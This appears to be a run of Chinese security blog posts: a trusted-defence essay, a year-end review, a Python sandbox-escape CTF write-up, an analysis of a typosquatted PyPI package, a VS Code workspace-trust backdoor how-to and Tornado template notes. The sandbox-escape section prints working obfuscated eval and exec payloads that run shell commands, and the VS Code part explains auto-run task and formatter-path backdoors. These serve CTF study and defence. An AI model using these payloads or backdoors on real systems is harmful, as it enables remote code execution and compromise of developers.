显然,这套体系在解决了很多安全问题的同时,攻防对抗逻辑也在悄然发生变化。我感觉,攻击者的行为很像电流 —— 倾向于走阻力小的路线。所以与其说是攻击者找到了新的攻击路线,不如说攻击者的路线选择发生了变化。在可信级防御的场景中,究其根本,最有效的攻击方式就两点:利用防御方不得不考虑的业务影响,投鼠忌器实现攻击(90%);安全能力本身的缺陷(10%)。扩展来说:
awk
,那么可以通过 awk "{system(\"hack\")}" test.sh
从而执行 hack
指令(实际上是任意指令)。因此白名单的质量会直接影响到防御效果,而从理论上来说,白名单长度就应该是 0,这个是最安全的,正是由于要避免对业务的影响,所以加进了一些我们目前认为是安全的东西。显然这个目前会受到个人经验与现阶段业界技术水平的影响。利用高权限人员的身份,在本质上也是类似的。另外,不要觉得白名单内容对于攻击者来说是非常难获取的,橘友们在小学六年级学习密码学的时候就知道,永远不要将“把信息藏起来”当做可靠的安全之本。上面列举的例子,仔细想想可以得出,本质原因都是避免影响业务。这是一个非常考验经验的平衡能力。传统的安全其实已经有所体现,我认为在可信纵深防御体系下是放大了这一点,需要更加丰富的经验。
一个可能的误区:在交流的过程中,很多人问我,假设一共 100 个应用,一个可信级能力覆盖了 99 应用,另外 1 个应用因为资产问题导致没发现,所以没覆盖到,然后被攻击者利用了,这个似乎并不是 “由于避免影响业务,投鼠忌器”导致的。那是因为其实这里并没有使用可信级的思想,按照可信的思想,就不应该存在未知的应用未覆盖,而应该只有已知未覆盖的应用,这一点可以参考上面 “可信防御思路运用在安全能力层的一个非常经典的案例” 这段。
至于利用安全能力本身的缺陷,这个就非常常规了,这里就不多说了。但实际上我遇到的这种 case 并不多,一个是因为攻击一个特定能力相对来说比较难;另外就是安全能力自身一般都做了非常严格的安全加固。
上面两种差不多是 9、1 开吧。
我听说可信计算这个理念,被人诟病最多的就是落地层面的成本;在与外部其他公司交流的过程中,大家也比较关注这个成本的问题。这个问题我的理解是,成本是比较高但有压缩的空间。将建设过程拆分为上、下层可信能力建设 + 信任链构建之后,这样的一个好处就是在落地层面成本变得相对容易控制,你可以先选择把信任根扎在一个相对浅的地方,先把上层的建设做了,再慢慢把信任根移到底层;再加上安全平行切面、以及各种提效手段的协助,在落地方面成本已经低很多了。但至于这个已经被压缩又压缩的落地成本是否能被其他公司所接受,这个也不太好回答,至少网商是接受了的。
最后,想和大家说的是,可信计算作为一个安全理念,算是学术界的东西,在我的理解里,学术界提出的很多东西,通常需要依托一些标准或者规范,才能让工业界有落地的可能性。即使是出了各种规范和标准,实际上距离落地还有很长的一步要走。诸如:信任根做到哪一层才能满足公司安全防护的要求?可信防御中的“预期”如何保障长期贴近实际情况?可信级防御与常规防御能力强度之间的差异如何量化?等等类似的问题,有人问我这些是否意味着可信理念本身是有缺陷的?我个人认为,即使理念层面需要对这些问题作出一些回应,这些问题让学术界来回答可能并不是一个好的选择,每家公司基础设施情况不同,面临的威胁类型也有很大差异,要弄统一、适用的标准,势必需要舍弃掉不同公司现实情况之间的差异,而往往恰恰是这些被舍弃的差异点,在落地层面就需要选择不同的技术路线。
这样一个新兴的技术理念,对于我个人而言,观点与理念难免被当下环境、实践程度所局限,几年后回头看这些文字或许会觉得稍显稚嫩。但我想,既然有机会参与这样的一些探索和实践,还是希望将自己的经历和见解分享讲出来,一位一线同学从逐步理解到成长的过程虽小,相信对行业也是有益的。对于屏幕前的各位来说,如果感兴趣,与其争执一些虚头巴脑的理论,不妨来躬身入局参与一场有趣的冒险,网商安全部长期欢迎各类人才加入,来一起探索更多前沿的技术与未知的可能性。
快元旦了嗷
加油 xdm
距离上一次发布文章,已经过去很久了,停更这么久的原因有很多,总结起来还是精力不足了。
其实我本来是准备在元旦发的,因为这是一篇年度总结。当时虽然有很多想说的,但是我没想好怎么写,多次打开编辑器,写了点字又删掉了,实在是没有思路。本来今天要赶高铁,早早上床休息了,不料却失眠了,但也正好有那个空闲和空间,能让我静静地想一些事情,趁着逻辑还算理顺了,在飞奔的高铁上,写下了这篇文章。
我把事业分为两大块,一个是正儿八经的工作,一个是业余时自我提升的投入——其实学习也算是为了赚更多的钱嘛。
下面是我今年相关的时间线:
1 |
|
看上去还是有很多空隙的时间被我浪费掉了,唉,实际上我是真的没有多余的精力了。
今年的工作压力其实是比较大的。今年我负责的内容扩大了很多,需要分离很多精力做其他安全项目的建设,主要是可信的建设。我们公司的安全建设思路,不仅是纵深防御,还是可信的逻辑。可信,最重要的一个做法就是白名单,不管是行为白名单也好,策略白名单也好,总之就是白名单。相比于传统的黑名单模式,这个模式的强度非常高。可以类比一下,你可以不让你的孩子做某些“坏事”,这是黑名单,但是“坏事”是列举不完的;如果是白名单呢,那就是你只允许你的孩子做某些事情,因为允许的事情是经过你评估的,所以通常是安全的。可惜,安全属于计算机领域的一个小小的分支,自然也没有银弹。白名单带来的问题也很明显,你怎么判断这个事,是“坏事”?这个是很复杂的,需要非常大量的经验,而且很容易出现误判,对于用户体验、效率以及安全的平衡是,是比较难以把握的。
一个通常的做法是看历史的情况来得出白名单,例如通过系统间的历史调用日志,来得出初步的白名单。但毕竟是“初步”,一旦发生误判,就会导致一些比较危险的稳定性问题。我今年经历过了好几次,A 系统调用 B 系统,但是 A 不在我的白名单里,原因有很多,比如是一个新的业务或者是非常低频的调用,我在日志里没观察到等等,大半夜起来应急。目前最高记录是凌晨 3 点被告警系统 call 醒,好在应急及时,没有出现问题。
如果橘友们对我们的可信纵深防御建设感兴趣,不妨了解一下我们的可信纵深防御白皮书,刚发布没多久,这个还是非常非常有学习价值的。
自从开始做可信建设,我的钉钉群就加爆了,有非常多的告警群,一开始我的精神很紧绷,每次那十来个群有群消息,我都会点进去看,生怕是自己的策略导致的;电脑不离身,除了上厕所这种实在带不了的,不管是周末,节假日,我都是背着电脑出门,有事情立马处理。我已经无数次在饭店里,在高铁上,在医院里处理工作了。渐渐的我的睡眠时间从 23 点推移到 1、2 点,原因就是有段时间这个点老有告警,我推测是有很多系统在 0 点执行当天的某些任务吧,比如 crontab 这种的,所以我索性多等一会再睡。
这只是其中的一个方面,其他的辛酸就不多说了。总之压力的确有点大。所以我没有额外的精力再去看其他的一些资料,更没有时间好好想想事情,写一些文章,周六周日也只想躺着。
好在今年的结果应该还不错,但是我们是还没谈绩效,所以今年具体是什么情况,也不得而知。大年三十晚上家人问我工作怎么样,怎么样?我也不知道怎么说,只好回答,“还可以”。
这部分目前看来,今年完成得还不错,值得一顿大餐奖励。
正如上面说的那样,我不再有很多时间和精力可以让我去研究一些事情,所以文章更新也就少了。
某一天我问我对象,我这么久没更新公众号了,是不是粉丝会想我。她说你可别感动自己了,谁在乎呢。想想的确是这样,我关注了很多公众号,但是谁没更新我也不是很在意。说起来也是怪事,我本来写这个公众号的目的就是为了交流,但是微信公众号又不给我评论功能(现在新的公众号都不会有评论功能),就很奇葩;另一个目的还是想让自己的文字能有更多的人看到,不过和其他公众号类似,我的公众号也有大量的“僵尸粉”,目前是 900 多个粉丝,但是文章能有 200 个阅读量就顶破天了。
年中的时候我突发奇想,我这个号,如果开个广告能赚多少钱呢?于是我把最底下的广告开通了(底部广告这个不会影响阅读体验,做测试比较合适),我算了一下,差不多一个浏览量是 0.01 或者 0.02,如果是触发点击的话...我就不知道了,因为压根没人点过...这么算起来,假设每篇按照 200 阅读量计算(假设每个人都读到最后,看到广告了),每次浏览按照 0.02 元算,那么我只需要连续 7 天都发篇文章(普通公众号一天只能发一篇文章),就可以在公司门口吃一份猪脚饭了(笑
所以我的观念还是和以前一样,我写文章主要不是为了赚钱(但是真有钱我也赚,可惜没有,所以我现在嘴很硬)。国内互联网的环境其实并不好,但即使是这样,在我大学期间,很多前辈们的文章帮了我很多很多,他们是我的无名之师,我的专业知识很大一部分都是网上看来的。所以我想,这份传承在我这不能断,希望我的文章也能够像他们一样,给别人解答疑问,帮助别人学习。至于后人会不会继续传承这份精神呢?随他们去吧,我又管不了,总之我们先做好自己嘛。
而且我本身也不喜欢宣传自己公众号,所以自然粉丝和阅读量增长地都比较缓慢。听上去很奇怪,号主自己都不宣传。原因是我感觉我的一些经验还是不太够,可能会误导一些人吧,所以我就一切随缘了。这么看,橘友们能发现我这个公众号,显然是需要一些本事的,虽然好像关注了也不一定能学到什么(笑
挺好的,我们还是继续随缘吧,有得说我就发,没得说也就不打扰大家了。这部分今年完成得还不错,随队参加的比赛结果也还可以,都进决赛了而且名次也比较靠前。工作压力很大还能抽时间学点东西,发一些文章出来,很不容易了,值得一顿大餐鼓励。
今年上半年,我的时间基本上都给了工作,忽略了好好生活,好好关心家人,对此我的对象相当有意见,她觉得那个时候的我不是工作狂就是在变成工作狂的路上。但是在上半年我觉得这简直就是胡言乱语。在下半年我终于意识到了这个问题,偶尔也会放空一下发发呆,通过一些方式缓解了。但是平衡事业和生活谈何容易呢,得到一些东西,总是意味着失去一些东西。处理人际关系,特别是亲密关系的人际关系,我感觉对我来说是有点难的。我爸妈对我完全是散养的,而且其实只管我的物质生活,对于精神世界基本上是没有怎么关注过的,小时候自由惯了,万事不求人,长大后也不太能关心别人,因为那些都是我自己做的,我会觉得其他人也一样自己消化了。
我时常在想,大家总说这个人事业有成,赚了很多钱,很成功,却少有人说这个人家庭美满,过的轻松自在,很成功。那我的标准是什么呢?我也不知道,的确没想清楚。这个可没有技术博客可以看(笑
其他的就是摄影了,今年拍了不少好看的照片,感觉自己的水平的确也有在提升,虽然这个并不是我拍摄的目的。我对于摄影,其实不太喜欢去学习一些知识,毕竟是爱好嘛,就是遵从内心,我觉得怎么舒服就怎么来。拿着相机,我总会感觉到平和,可能是终于找到了一个不用和别人争个高低的事情了吧。
这部分总得来说就是完成得一般般。庆幸的是,发现了很多问题,才让我有机会能够改正这些问题,走得慢总比没走要强,慢慢来。
为此我非常感谢我的对象,在生活上她教会了我很多。回想起我们之间的经历,能够在一起的确需要些运气。难怪我彩票总是中不了,原来是已经中过了(笑
今年过年回家最大的感受是觉得自己没以前能吃苦了。我在父母的摊位上一起照看了一天,他们非常累,凌晨 3 点起床,卖到晚上 19 点收摊,日复一日,年复一年。我的工作环境,相比于他们已经很好了,却整天觉得压力很大,想躺平,赚的钱又不是非常多,能足以这样任性。看看他们去年经历的事情,以及现在的状态,说实话挺羞愧的。
但是他们从来没说过我什么,我想做什么去就去做,别搞黄赌毒就行(大笑),这个是我爸的原话。可能有人会说每个人能够承受的压力阈值不同,你何必用他人的方式逼自己呢。这个道理我是懂,但是如果高中的时候我没有狠心对自己,现在可能,不知道,或许会很差吧。
昨晚失眠,想起一件好玩的事。高中的时候我经常在空间里发说说,“加油小尾巴,晚安小尾巴”,大家都在猜小尾巴是谁,还能是谁?我当时那么内向,没什么存在感,难道还能脱单不成(笑),所以当然是我自己。因为我当时成绩基本是垫底,不过也没倒数几名吧,所以是“小尾巴”。我感觉截止到目前,高中时期我是最拼的,准确地说是高二高三。当时很喜欢看励志的故事,现在大家叫鸡汤。很多人现在都很反感这个东西,但是它的确在那段时光里给了我很多勇气。后来高二高三逆袭,在普通班考得比重点班的人还好,生物更是整个年段都没有对手,现在想想当时真是给力啊。那个时候的确很莽,我也不知道读书有啥用,但就是要读,冲就完事了。现在长大了,对一些目标反而畏畏缩缩,这人真奇怪,不知道在怕什么。
跑题了。
好汉不提当年勇,希望今年能勇吧。
加油小尾巴们
晚安小尾巴们
让用户提交 Python 代码并在服务器上执行,是一些 OJ、量化网站重要的服务,很多 CTF 也有类似的题。为了不让恶意用户执行任意的 Python 代码,就需要确保 Python 运行在沙箱中。沙箱经常会禁用一些敏感的函数,例如 os。
其次,在大多数 Python 的 SSTI 中,沙箱逃逸中可以使用的手段,通常来说也可以用在 SSTI 里,至少也能起到一个重要的指导意义。
其实沙箱逃逸大部分知识点,在 19 年 5 月我就已经整理完发布出来了,在看本篇之前,建议再看下这篇复习一下:
https://www.tr0y.wang/2019/05/06/Python沙箱逃逸经验总结/
那么为什么还有这篇呢?
正如《OrangeKiller CTF 第 3 期》中所说,在做这期题目的时引出了本文的探索。同时,本篇也作为 wp 公布下第三期中题目的解法。
一切还是要从这道题目开始。
解释一下:构造出一个 CMD,这个 CMD 经过这个 all
的计算后结果必须为 True
,且 eval(CMD)
需要可以在 os shell 里执行 id
(其实就是实现 RCE 啦)。
从执行上下文看,我们要构造出的 CMD
显然是一个字符串,因为下面会进行 eval
。那么这里就有第一个问题:如何构造出任意字符串?
因为上面的限制条件把 "
、'
都干掉了,所以直觉上我们会选择用 chr
+ +
来拼接出字符串,但是 +
也被干掉了。
而由于 ,
也被干掉了,所以虽然能调用函数,但是也只能传一个参数。并且 .
也被限制掉了,所以就算可以 __import__
也没法调用方法。
对 Python CTF 题比较熟悉的橘友,第一反应可能是用 list
+dict
:list(dict(whoami=1))[0]
。这个 payload 还是比较好用的,但问题是,由于 whoami
作为参数名,无法携带一些特殊的字符,例如空格、引号、括号 等等,所以仅凭这个手法去构造的 exp,在实际的利用过程中不是非常实用。
所以需要寻找其他办法。经过一番寻找,我在内置的函数中发现了 bytes()
:
也就是说,这个函数可以接收一个可迭代对象,里面是 0-256 的整数,然后就会返回一个 bytes:
由于 range()
是固定顺序的,无法得到我们要的任意字符串。那么接下来问题就变成了:如何构造包含任意序列的整数的可迭代对象?
如果能构造出 [119, 104, 111, 97, 109, 105]
这样的序列,那么就可以通过 bytes()
得到 whoami
。由于不能使用 ,
,所以不能直接写一个列表或者集合之类的出来。
最先映入我脑海中的是列表推导式,因为可以通过 if
来从列表中捞需要的数据。那么问题是这个布尔表达式要怎么写呢?先思考一下:对于一个有序的列表,若想捞出任意排序的字符串,不但需要固定下来每个字符的位置,还需要保证固定位置是特定的字符,所以肯定需要两个条件组合,那么 payload 就呼之欲出了:
1 |
|
对应的构造脚本:1
2
3exp = '__import__("os").system("id")'
print(f"eval(bytes([j for i in range({len(exp)}) for j in range(256) if "+" or ".join([f"i=={i} and j=={ord(j)}" for i, j in enumerate(exp)]) + "]))")
还有一个空格的限制,这个姿势在 OrangeKiller CTF 的第二期已经说过了,用 []
来替代。构造脚本:1
2
3exp = '__import__("os").system("id")'
print(f"eval(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]or[".join([f"i]==[{i}]and[j]==[{ord(j)}" for i, j in enumerate(exp)]) + "]]))")
如果额外限制了 ==
,那么还可以用 in
来代替:1
2
3exp = '__import__("os").system("id")'
print(f"eval(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]]or[".join([f"i]in[[{i}]]and[j]in[[{ord(j)}" for i, j in enumerate(exp)]) + "]]]))")
最后这个 exp 长这样:
如果 bytes
之类的内置函数被禁用了,可以通过 Unicode 来绕过,这个技巧我们已经见得多了,就不多说了。
所以,这个 payload 在大多数情况下已经可以通用了。
解法一有一个比较大的问题是,if
是没办法用 Unicode 绕过的。假如被禁了那么就 GG 了。所以,在上面条件限制的基础上,我们把 if 干掉,看看能否找到解决办法。
经过一番思索,我给出的第二个答案是:模拟 import。
我们知道,import 可以认为是打开源码之后执行代码。那么我们可以手动模拟这个过程,也就是 exec(open(...).read())
,从而引入所需的函数。
首先面临的问题是:如何知道库的绝对路径呢?对于部分题目来说,可能存在绝对路径泄露,但是这个并不通用,我不喜欢。其实 __import__
之后,返回的 module 经过 str 就会有绝对路径:
所以就可以这样:open(str(__import__("os"))[19:-2])
。
问题又来了,要想读出文件内容,通常我们会用 .read()
,但是 .
已经被干掉了。好在,open
的返回值是 _io.TextIOWrapper
,由于存在 __iter__
方法,所以我们可以把它当做是一个可迭代对象来迭代。也就是可以通过 list(open(str(__import__("os"))[19:-2]))
取出文件内容,这个效果等价与 open(...).readlines()
:
那么问题又来了,这种形式的源码,exec
是没法执行的。由于存在各种限制,join
这种都不用想了。经过一番思索,我感觉还是得用到列表推导。思路是用一个二层循环,一层将列表里的字符串拆解出来,例如 ["ab", "cd"]
转为 ["a", "b", "c", "d"]
;第二层将列表里的字符,转为 ASCII 码,然后再用 bytes
转为完整的字符串。
payload 如下(这里的缩进只是为了更好地理解,实际上是不需要的):1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17exec(
bytes([
ord(j)
for(i)in(
list(
open(
str(
__import__(
list(dict(os=1))[0]
)
)[19:-2]
)
)
)
for(j)in(i)
])
)
至此,我们就可以在上下文中执行 os.py
里的所有函数了:
由于上述载入函数和执行函数是分开执行的,不是很优雅,有办法合并成一句执行么?
首先分析一下,payload 必须在执行函数之前运行,所以可以通过 [exec(...)][0][system("whoami")]
来实现,需要注意的是,system
在运行成功的时候才会返回 0
,一旦失败,返回的数字比较大,命令虽然已执行成功,但是整个 payload 的执行是会失败的,可能会遇到不必要的麻烦。并且,形如 popen
这种返回字符串的,也不宜这样利用。
更好的方式是用 [str][bool(exec...)](list(popen("whoami")))
所以解法二的 payload 如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17[str][bool(exec(
bytes([
ord(j)
for(i)in(
list(
open(
str(
__import__(
list(dict(os=1))[0]
)
)[19:-2]
)
)
)
for(j)in(i)
])
))](list(popen(list(dict(whoami=1))[0]))[0])
当然,上面这个 payload,同样存在特殊字符无法构造的问题,执行 whoami
这种单一的命令是 ok 的,如果想要反弹个 shell 就没法搞了。
好在思路有了,只需要换一下库就行。dict
参数要求是合法的变量名,那么我们很容易想到 base64 里的字符大部分都是 0-9a-zA-Z
构成,还有特殊的字符 =
、/
、+
。后面我们会挨个解决这三个字符的问题,先展示下 payload:
1 |
|
包含的命令为:
更进一步,这个 payload 里除了 eval
、list
、dict
、for
、in
、数字
之外其他常量/函数/关键字都不是必要的。都可以用 eval
+ list
+ dict
构造。所以这个 payload 可以变成这样:
1 |
|
至此,还有三个特殊字符需要解决:=
、/
、+
。一旦 payload 经过 base64 编码之后出现这三个字符就没法当做 dict
的参数了。
仔细回想一下小学 2 年级就学过的 base64 编码:
当红框里的二进制变成 111111
的时候,根据 base64 规范,此时应该编码为 /
。这就要求原本的字符以 6 个 1
结尾,符合这种条件的 ascii 字符,只有一个:?
。也就是说,只要位置为 3 的倍数上的字符是 ?
,那么编码后就会出现 /
:
知道原因之后,解决方式就很简单了:插入无关紧要的字符,挤走原本位于 3 倍数位置的 ?
。
同理,编码后出现 +
可能的字符有 >
、~
;编码后出现 =
的原因是源字符串长度不为 =
的倍数。这些都可以通过加无关紧要的字符来解决:
比较遗憾的是,上面这个 payload,当利用点处于函数内部的时候,由于 exec
生成的变量无法在函数上下文中使用,所以在执行模块源码的时候通常会报错。例如上面这个就会报 name '_bytes_from_decode_data' is not defined
:
一开始我的思路是:能否寻找到一个库的源码,其中有一行 __import__("binascii").a2b_base64
,如果有的话,我就可以通过切片切出来这一句话,然后用 eval
执行,参数可以通过 for 循环搞定:
但遗憾的是,经过一番搜索,并没有找到合适的标准库的源码可以用来执行导入解码模块的语句,要么就是存在多级目录,在无法判断 python 绝对路径的情况下,不实用。因此需要另寻它法。
再经过一番探索,我发现 vars()
真是完美。它有一个可选参数,当没指定参数的时候,与 locals()
结果一致。当指定参数的时候,会获取参数所在命名空间的 locals()
。所以我们可以先 import binascii
,在利用 vars(binascii)
取出里面的 a2b_base64
从而进行 base64 解码:1
eval(vars(eval(list(dict(_1_1i1m1p1o1r1t1_1_=1))[0][::2])(list(dict(b_i_n_a_s_c_i_i_=1))[0][::2]))[list(dict(a_2_b1_1b_a_s_e_6_4=1))[0][::2]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=1))[0]))
相比上面的 payload 来说,它还不需要 for
,非常纯净的通解。
再疯狂一点,如果把数字禁用了,如何?
这就是《OrangeKiller CTF 第 3 期》中的第三道题。
切片中的数字好说:
0
-> len([])
2
-> len(list(dict(aa=()))[len([])])
由于我选用的是 dict()
,参数里的数字应该如何绕过呢?答案还是 Unicode!可用的数字列表见:
https://www.fileformat.info/info/unicode/category/Nd/list.htm
所以,终极版的 payload 如下:1
vars(eval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_𝟤_b𝟣_𝟣b_a_s_e_𝟨_𝟦=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict(X𝟣𝟫pbXBvcnRfXygnb𝟥MnKS𝟧wb𝟥BlbignZWNobyBIYWNrZWQ𝟨IGBpZGAnKS𝟧yZWFkKCkg=()))[len([])])
其中需要用到的字符:
1 |
|
构造脚本:
1 |
|
最后,像 eval
这种,直接用 Unicode 就可以解决,我就不啰嗦了,之前都说过的。
coooooooooooool~
OrangeKiller CTF 第 3 期 所需的知识点,其实都在这篇文章里了,我就不啰嗦了。
这篇写完之后顿觉神清气爽。现在 CTF 中的 Python 题还是比较简单的 —— Web 题似乎还是 PHP 的天下。什么时候 Python 也能像 PHP 这样被人探索出各种奇妙的利用呢?本文的姿势似乎尚未有前人探索,或许也算为 Python 的奇技淫巧共享出属于自己的一小份力量了。
提前祝橘友们国庆快乐!
本次同样没有题目描述,因为题目是可自解释的形式,所有所需的信息、源码等信息都在页面里。题目考点也比较明显,不需要花大量时间理解考点。
一共 3 题,have fun!
一共 3 题:
题目链接:
https://baby-python-rce.herokuapp.com/
第一题是热身题,没啥特别的。
第二道题正如 Tornado 那篇所说,它来源于虎符杯决赛后,我对自己发起的一次挑战:
第三道题的难度更上一层楼。同时也意味着,如果能做出这道题,那么对于 CTF 中绝大多数的 SSTI(非自定义语法)和沙箱逃逸题是可以秒杀的。
需要注意的是,以上三道题目的环境均为 Python 3.x,并且这三道题目的 flag 是一个,因为主要目的还是考察如何绕过限制条件去 RCE,我比较懒,就不分环境部署了。
本来打算 writeup 一起发出来的,但是由于本次 wp 涉及到 Python 沙箱逃逸的通解的探索,而整个探索过程又非常非常有趣,所以我会单独成(shui)文发布。
别催了在写了
咕咕咕...国庆前一定!
7.25 有位小伙伴在小群里发了这张截图:
fake_useragent
相信写爬虫比较多的橘友都用过,它可以随机生成一些看起来很合理的 ua,用来做一些简单的反反爬。这个恶意的库名叫 fake_useragant
,就差一个字母。
正好那段时间在护网,所以我想着不如分析分析看看是不是攻击队又有啥新手法了。
由于 pypi 官方响应非常快,这个包在我准备下载的时候已经被删除了。不过一般来说自建源和官方源的同步都存在一定的时间差,所以可以去清华源之类的下载(其实这个时候也可以看出自建源存在的弊端)。
整个恶意库的源码非常简单:
然后下载真正的 fake_useragent
做了一下 diff。其实直接看修改日期也可以看到哪些文件改掉了。
除了名字替换之外,主要的修改在:
fake.py
中新增了 FakeUserAgent.exit
方法urllib2.py
,里面有 task
和 urlparse
函数,还特意用 import pickle as json
做了个障眼法。task
会调用 urlparse
,而 urlparse
函数包含了恶意的 payload恶意的 payload 解到最后是这样的:
感兴趣的橘友可以自行分析这段 shellcode 的作用。
分析到此就结束了,这个后门并不复杂。问题是,通常恶意库的触发点都会放在 setup.py
下,但是我并没有在这个后门的源码中找到触发点,也就是说我直接 pip install
也不会有问题。这就很奇怪了。
问了下小伙伴,说是有个人假装防守队,说自己捕获了攻击队的 0day 利用,所以写了个 exp 放到 GitHub 上了:
https://github.com/FuckRedTeam/360tianqingRCE/blob/1326a51307e576b22a36ec79c466471af5e17086/360tianqing-RCE.py#L90
这鱼钓的。。。所以它俩是搭配使用的,这就说的通了。
至此,还剩最后一个问题,就是网传用 vscode 打开之后,点击信任文件夹也可能会被日。那么到底存不存在这种可能性呢?如果可能的话,那么具体要如何复现呢?
vscode 会在你打开一个新的文件夹时提示:
由于我没用过 vscode,一般用的是 sublime,所以我特意去官网上看了下这个操作的含义:
https://code.visualstudio.com/docs/editor/workspace-trust#_trusting-a-workspace
设置为不信任模式,主要是通过禁用或限制几个 vscode 功能的操作来阻止自动代码执行,包括:task、debug、工作区设置和插件。所以我们可以尝试通过这几种配置来制作后门。
为了实现我们的目的,首先需要创建一个 .vscode
目录。
由于精力有限,我就测试了两种方式。
看了下 task 的配置,文件名就叫 tasks.json
,配置如下:
1 |
|
稍微解释一下:
type
、command
:用于配置自动执行的命令presentation
的 reveal
需要设置为 "never"
,这样执行 task 的时候就不会弹个控制台出来。runOptions
的 runOn
设定为文件夹打开的时候就执行至于这个执行的命令,为了兼容多平台,可以用 ;
分割写不同的指令,执行失败会继续尝试。
这样,只要分析的时候不小心点了“信任”,就会触发这个后门。
需要注意的是,提示是否信任的时候,如果点击得太慢,那么本次是不会触发 task 执行的(我猜测弹窗等待确认并不会阻塞执行 task 的逻辑,它们是并行的事件),但是下次打开必定会触发。
vscode 的配置比较多,我这里就举个例子说明吧。
settings.json
里可以给插件配置一个可执行文件的位置。如果这个可执行文件是后门,那么在格式化代码的时候就会触发:
1 |
|
python.formatting.autopep8Path
将 autopep8
的可执行文件指向我们的后门。需要注意的是这里似乎无法使用 shell 脚本,必须要是一个二进制类型的可执行文件editor.formatOnPaste
(声明文件在保存时自动格式化代码;)、editor.formatOnPaste
(声明文件在粘贴时自动格式化代码)、files.autoSave
(文件在 vscode 失去焦点时自动保存),这三者都是为了提高触发后门的几率接下来只需要写个恶意的二进制文件就行了:
1 |
|
恶意指令后面加个 autopep8
以及传入的参数用于正常地去格式化代码,尽量做到无感。
需要注意的是这个可执行文件不要随意打印内容,否则会执行失败,具体原因我也懒得研究了。
最后我们可以故意把源码弄成很乱的格式,正常一看这么乱肯定就要先格式化一下,然后就 G 了。
源码都打包传到 pypi 去了,payload 就是弹个计算器而已,没有攻击性的 payload,感兴趣可以自己尝试一下:
源码
https://github.com/Macr0phag3/vscode-door
py 库地址
https://pypi.org/project/fake-usreagant/0.0.3/#files
要做到比较完善的话,可能需要搜集下类似的插件,尽可能把可执行文件路径的配置覆盖全。同时其他配置也可能可以制作后门。
最后再说一点,vscode 在信任的时候有个选项,可以勾选是否信任父文件夹,这个一定要谨慎打钩。一个常见的攻击场景是,某安全工程师由于经常需要下载源码预览,为了方便就把整个下载目录设为可信目录。这个时候只要下到一个带有 .vscode
的恶意源码就会中招。
并且其他编辑器例如 idea 或许也存在这个问题,精力有限,就不测试了。
其实 360tianqing-RCE.py
那个仓库最好再加个 requirement.txt
,这样可能会有人直接 pip install -r requirement.txt
了,中招的概率进一步增大,这一点没啥好说的,不管是不是敏感时期,拿到 exp 都要仔细看看啊。
其次就是分析恶意软件或者源码的时候尽量在虚拟机进行吧。像 vscode 这种信任,说实话,绝大部分人都会点信任,在河边走哪有不湿鞋,还是小心点为妙。
你你你居然在 exp 里下毒!
首先当然要看官方文档了:
https://www.tornadoweb.org/en/stable/
反正就是一个字:快。
单线程能够达到这么高的并发,属实有点牛逼。
根据文档,Tornado 大致提供了三种不同的组件:
那么显然,本文重点关注第一点:Web 框架。
下面看一个示例:1
2
3
4
5
6
7
8
9
10
11
12
13import tornado.ioloop, tornado.web
class IndexHandler(tornado.web.RequestHandler):
def get(self):
print(self.get_argument('a'))
self.write("get!")
app = tornado.web.Application(
[('/', IndexHandler)],
)
app.listen(8888)
tornado.ioloop.IOLoop.current().start()
非常简洁。
上面这个例子需要注意的有这几点:
tornado.web.RequestHandler
之后就可以定制不同请求方式要执行的函数。如果某个请求方式没有对应的函数,则会返回 405,也就是 Method Not Allowed
return
,直接用 self.write
、self.render_string
、self.render
等等就可以返回响应内容self.get_argument
,如果不指定默认值,那么客户端没传参的时候会返回 400,也就是 Bad Request
1 |
|
这就是最简单的一个实验脚本了。当然也可以通过 template.Loader
加载本地的模板文件;以及可以在 generate
中指定任意参数,从而可以在模板字符串中接受它。这些与 jinja2 都非常类似。
{{ ... }}
:里面直接写 python 语句即可,没有经过特殊的转换。默认输出会经过 html 编码{% ... %}
:内置的特殊语法,有以下几种规则{# ... #}
:注释{% apply *function* %}...{% end %}
:用于执行函数,function
是函数名。apply
到 end
之间的内容是函数的参数{% autoescape *function* %}
:用于设置当前模板文件的编码方式。{% block *name* %}...{% end %}
:引用定义过的模板段,通常来说会配合 extends
使用。感觉 block
同时承担了定义和引用的作用,这个行为不太好理解,比较奇怪。比如 {% block name %}a{% end %}{% block name %}b{% end %}
的结果是 bb
...{% comment ... %}
:也是注释{% extends *filename* %}
:将模板文件引入当前的模板,配合 block
食用。使用 extends
的模板是比较特殊的,需要有 template loader,以及如果要起到继承的作用,需要先在加载被引用的模板文件,然后再加载引用的模板文件{% for *var* in *expr* %}...{% end %}
:等价与 python 的 for 循环,可以使用 {% break %}
和 {% continue %}
{% from *x* import *y* %}
:等价与 python 原始的 import
{% if *condition* %}...{% elif *condition* %}...{% else %}...{% end %}
:等价与 python 的 if
{% import *module* %}
:等价与 python 原始的 import
{% include *filename* %}
:与手动合并模板文件到 include
位置的效果一样(autoescape
是唯一不生效的例外){% module *expr* %}
:模块化模板引用,通常用于 UI 模块。这里有个例子挺好的,可以参考下如何使用:https://wizardforcel.gitbooks.io/tornado-overview/content/17.html{% module Template("foo.html", arg=42) %}
:{% raw *expr* %}
:就是常规的模板语句,只是输出不会被转义{% set *x* = *y* %}
:创建一个局部变量{% try %}...{% except %}...{% else %}...{% finally %}...{% end %}
:等同于 python 的异常捕获相关语句{% while *condition* %}... {% end %}
:等价与 python 的 while 循环,可以使用 {% break %}
和 {% continue %}
{% whitespace *mode* %}
:设定模板对于空白符号的处理机制,有三种:all
- 不做修改、single
- 多个空白符号变成一个、oneline
- 先把所有空白符变成空格,然后连续空格变成一个空格apply
的内置函数列表:linkify
:把链接转为 html 链接标签(<a href="...
)squeeze
:作用与 {% whitespace oneline %}
一样autoescape
的内置函数列表:xhtml_escape
:html 编码json_encode
:转为 jsonurl_escape
:url 编码xhtml_unescape
:html 解码url_unescape
:url 解码json_decode
:解开 jsonutf8
:utf8 编码to_unicode
:utf8 解码native_str
:utf8 解码to_basestring
:历史遗留功能,现在和 to_unicode
